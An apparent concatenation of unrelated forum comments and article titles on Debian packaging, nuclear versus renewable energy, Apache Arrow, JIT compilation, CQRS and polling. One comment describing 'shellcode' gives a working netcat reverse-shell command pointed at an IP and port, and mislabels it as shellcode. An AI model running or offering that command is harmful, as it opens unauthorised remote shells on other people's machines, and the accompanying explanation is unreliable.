You seem to be _almost_ implying that the packager maintainer had some sort of obligation to notify you that your software was being shipped with Debian? And also that you didn't know about it for years?

On the flip side of the coin, there are plenty of open source authors who release their work into the wild and refuse to support or even engage with downstream packagers because they see any other distribution or use of their work as Not Their Problem. And they're not really wrong, building a supportive community around a useful project is totally optional after all.

Between the constant stream of version bumps, security updates, patching, bug triaging, and user support, distribution maintenance seems to be the most thankless job in the open source world.

It's interesting to me that no one had a cassette recorder in class. When I was working on my degree in the mid 90s nearly everyone had a recorder on their desk while they were taking notes. I didn't record every class or even every lecture, I focused mostly on the topics/lectures where I had difficulties. If I 'got it' I usually recorded over that tape.

I may even have a box of them somewhere around here in the barn.

Hi Brajeshwar, if you think about the whole password management suite that other popular password managers offer, yes it is a really big task in itself. However, SecureAppy focuses on the simpler use cases of just me letting my wife and kids know certain passwords and have them handy whenever they need them. We also made sharing photos/notes very easy so that your most important photos/notes are organized perfectly within the same app.

Completely agree with all of this.

My point is that sources allow follow-up. Even if, in the extreme case, the sources are garbage, that's still useful information. Bias is to be expected from journalists but disinformation is not, and disinformation thrives when it's divorced from sources/context.

Smarter Every Day did an episode in which a journalist explained how to look for sources when something (in her example, a climate change meme) seems potentially dubious, which highlights an example where the source is actually great and the bias is one we'd normally find positive, but the way the information is recontextualized is misleading: https://www.youtube.com/watch?v=MUiYglgGbos

These are 440MW reactors. They are not ‘small’, and they’ll still take about the same time to build, because the modular efficiencies here only apply to a small part of the construction timeline.

They’re also $2.7B (might be £). These are not anything like a “different place in economics and politics”.

HN is a nice place, because you decide how to use it. You can just add HN users to your bookmarks and follow them from time to time. You could also make a simple Chrome plugin.

I've built my own private Chrome plugins, for example, to add to my experience to HN. I keep them private as I find it more respectful. With that said, I use the public Refined Hacker News [1] as well.

The fact that HN is conservative on changing its features is what I like about it. If I want a new feature, I'll build it myself.

While I somewhat agree with GP, your two posts here make some very valid points that are a significant contribution to the discussion. I don't know who's downvoting you, but it's BS so I just wanted to point out that you are being listened to and that your argument should not be suppressed.
I wonder why the industry does not single out musicians who aid their work with drugs akin to using illegal supplements by athletes. It seems like by use of substances those musicians get competitive advantage over musicians who abstain from drugs and want to be on the right side of law.
But somehow still the drug use among artists is viewed as "cool". This fascinates me that for one group such behaviour seems acceptable, but for another it's a big no-no.
>Hildebrand’s wife Kashya, a former hedge fund trader who now runs a Zurich art gallery, bought 400,000 Swiss francs ($418,000) worth of dollars on August 15, three weeks before her husband oversaw steps to cap the rise of the safe-haven franc. She later sold the dollars at a higher rate.

>Hildebrand admitted the scandal had revealed shortcomings in the SNB’s internal regulations and code of conduct.

So he self knew that it's not right to do that, he's not a normal President but the one from the Swiss national Bank. No one wants someone like that in such a position.

You're correct, I misread Norways wind LCoE of 44€/MWh as offshore, though it was onshore.

The publication you linked projects a 44% cost reduction until 2025, though. Given UK's listed offshore LCoE of $125 in 2018, that would be $70/MWh for the UK. The trend looks linear, but if we conservatively assume it only falls at half the rate after 2025, it will be at $51/MWh once the first Rolls-Royce plants come online in ten years.
Yes, thanks a million for doing that! I've read the 'despecialization' of arrow-rust PR which actually seemed to end up being quite simple (but it's a breaking change, so a 3.0 candidate?)

PyPy: Faster Python with Minimal Effort
Apache Arrow is a specification for in-memory columnar data, IPC format + Flight protocol, with implementations in a number of languages. Some of the implementations contain code to perform computations on the in-memory data. Some of the implementations contain some form of query engine. All of these are single process / libraries, rather than distributed systems.

Apache Spark is a distributed compute platform, which does have some support for Arrow for interop purposes.

One of the things that led me to get involved in Arrow originally was to explore the idea of building something like Apache Spark based on Arrow (and Rust) and my latest prototype of that concept is in the Ballista project [1].

I think it would be interesting to have three Houses: Senate, with individual senators appointed by the state legislatures; Representatives, with individuals elected by popular vote; and Citizens, selected by sortition. Legislation could originate in either the Senate or the House of Representatives, but would have to be ratified by the House of Citizens, unless their veto were overridden by super-majorities. The number of citizens per state would be the sum of the state's senators & representatives.

This would take the veto away from the President, and give it to a random selection of people.

Maybe combine it with an amendment stating that all regulations must be passed by the Congress, or at least be ratified by the House of Citizens …
RubyMine IDE: code insights or distractions? Part 1
Lots of the popular languages have "eval", which can't be compiled ahead of time.

Even if you did compile Javascript ahead, before delivery, what would you compile _to_? It would have been a huge uphill struggle for the smartphone era if all websites had been x86-only.

AOT compilation forces you to pick your customer hardware. JIT leaves that choice to the customer.

Mind you, there are situations where I'd quite like AOT for Python, or at least advance _linking_, as it would solve a lot of the distribution problems and virtualenv hassles.
That's up from Hillary Clinton's 64% of four years ago:

> Most notably, the stark economic rift that Brookings Metro documented after Donald Trump’s shocking 2016 victory has grown even wider. In 2016, we wrote that the 2,584 counties that Trump won generated just 36% of the country’s economic output, whereas the 472 counties Hillary Clinton carried equated to almost two-thirds of the nation’s aggregate economy.

They (Go routines) mostly get out of the way and provide some abstraction over what I've typically used things like Future for in Scala.

As pjmlp mentioned, The concurrency package is pretty nice to know, and offers functionality to chain work or fire off an async task or enqueue stuff to be done as messages, but it's not as trivial as marking a function async. Clojure and Scala have more direct paths to this sort of convenience. Loom will be interesting!

If we want to go zero emissions and save the planet, we need to spend our money efficiently. Almost every renewable source is now far cheaper than nuclear, and politically easier too.

Emissions reduction has almost nothing to do with technology advancement. If this were really a priority we’d get rid of low density zoning in cities and let the market reduce power usage for us.

Top strategic business technologies for 2020
Providers of business analytics (BI) solutions and data analysis software applications need to follow current strategic trends to create even more efficient and useful solutions. Business consumers, in turn, must also be aware of the changes brought about by the so-called destructive status quo technologies to make better use of already installed business analysis systems. Among the hottest trends in 2020 are security based on artificial intelligence, blockchain, hyperautomation and others.

It is a map of correlations. For context, the UK government has been handing out extraordinary amounts of money to various companies without going through the official procurement / bidding process. Sometimes these contracts, for millions of pounds, are going to companies with zero experience in the thing they're getting paid for, or even companies that have been set up just to receive this contract. All of these companies have one thing in common though, donations to the tory party.

I haven't read that reference but I have read some stuff by Hans Hoppe and he raises some very interesting points on the subject.

One of the more interesting points he brings up is that Democracy was not really looked on favorably by serious thinkers throughout history. He also asserts that because, it's implementation coincided with the great leaps forward in science, technology and industrialization, the champions of Democracy are making the classic correlation vs. causation error.

Microsoft Edge: Deep Dive into Site Isolation (Part 1)
In 'hacking' terms, shellcode is a basic means to get remote control of somebody's machine using unconventional means.

The most basic example would be using Netcat:

nc -e "/bin/sh" 66.77.88.99 6789

Simply, that allows Netcat to pipe any data from the remote host through the shell. This is obviously really bad shellcode since all the network traffic is plaintext and pretty easy for IDS systems to spot.

The biggest drawback I've seen to CQRS - particularly in an event driven architecture - has been increased complexity, usually in exchange for increased scalability. I'm a big fan of "Do the simplest thing that could possibly work" so I'm mostly opposed to CQRS except for some niche cases. A CRUD design for an app can scale well enough for most businesses to get into very decent revenue numbers. When you start bumping up against limitations, then you can start to refactor. Until then, the simplicity of a CRUD app can let you prototype and ship faster, as well as significantly boost new dev onboarding time.
This is a very interesting article.

I was thinking about this before and especially in the context of my history classes:

- At the beginning of the 18th century in France, Louis XIV ruled the country as a despot with absolute power. He is referred to in French as "Le Roi Soleil" - The "Sun King"? I'm not sure how you'd translate it. Anyways, this name highlights how he was supposed to be the only form of power but also the entity who you had to trust and listen to - he censored people he disagreed with.

- This period that followed was the Enlightenment - "Les Lumières" in French which means "The Lights". Instead of this form of one focal point for broadcasting, the right to broadcast was spread to many philosophers who voiced their ideas and suggestions for a new system. This was a renewal. Still, a select amount of people could broadcast because it required time and effort, not to mention someone who would publish you.

- Now, this "bar to broadcast" is almost non-existent. People can instantly share with the world without having to take a moment to reflect and think about what they're doing. This is the problem that the author refers to. In a way, we're in a period of "fireflies". Sparks of information and broadcasting everywhere, but in the same way a firefly is fragile and its light is weak, quality information is diluted and the signal to noise ratio is low.

I'm not sure how I feel about this, because it is important that the voice of everyone be heard, but I think some form of forcing people to reflect and think about what they're broadcasting would be nice.
These are much more expensive than renewable technology we already have.
> They have done good work in the past, but perhaps if they had backed nuclear a long time ago we wouldn't be in the mess we are in now?

I love that this point has been brought up. Everything I see has suggested that our emotional intelligence is actually falling if anything. We're inundated with self-help material that is just the same garbage spewn over again. Everything of value has been drowned out by the noise. People are struggling more than ever with their emotional state. Social media was supposed to be this great connector yet its practically crippling our ability to form connections. The cynic in me says it's deliberate; to subdue the masses, but I know that the reality is that there's just no money to be gained after you fix someone, and no one's going to pay to be fixed unless it's a guarantee. That's why we're stuck with individual therapy for even the most trivial things. Such a massive inefficient system we live in, and it's only made worse since there is money to be made by making someone less emotionally stable; by making them vulnerable you make them easier to manipulate and more succeptable to advertising. It's a cycle where the incentives are all misaligned.
This will lead to people posting lower quality comments and one liners to increase their engagement, reach and therefore following. Let's keep it simple.

> hydrogen and turbines can solve the issue, it's still years and years and years out and may or may not end up being good enough. We've got nuclear as an option RIGHT NOW for a problem we have to solve RIGHT NOW.

If you look at the past ten years of the UK, we've hugely expanded our wind production, shut down and demolished almost all the coal plants, and ... failed to build a nuclear plant.

Renewables are the technology that's ready. Nuclear is the technology that suffers huge time overruns.

I haven't said anything about Apple GPU architecture being a miracle fanless technology. Right now they ship SoCs with 7 or 8 graphics units, what happens when they put 64 of them?

Look at the architecture of AMD SoCs in the PS5 and Xbox. Obviously Apple cannot get away with unified memory in the higher-end machines, but what would make them prefer an AMD dGPU when it seems they have everything they need internally. Again, assuming the GPU scales well.
I recently learned that the German polls also rely on random calls - but worse than that, they only use the publicly registered phone numbers, i.e. the ones in the phone book.

That list mostly includes landlines, and biases towards older landlines as well (since IIRC phone book registration switched from opt-out to opt-in at some point).

So the polls strongly overemphasize older voters (because no one else has a landline phone anymore).
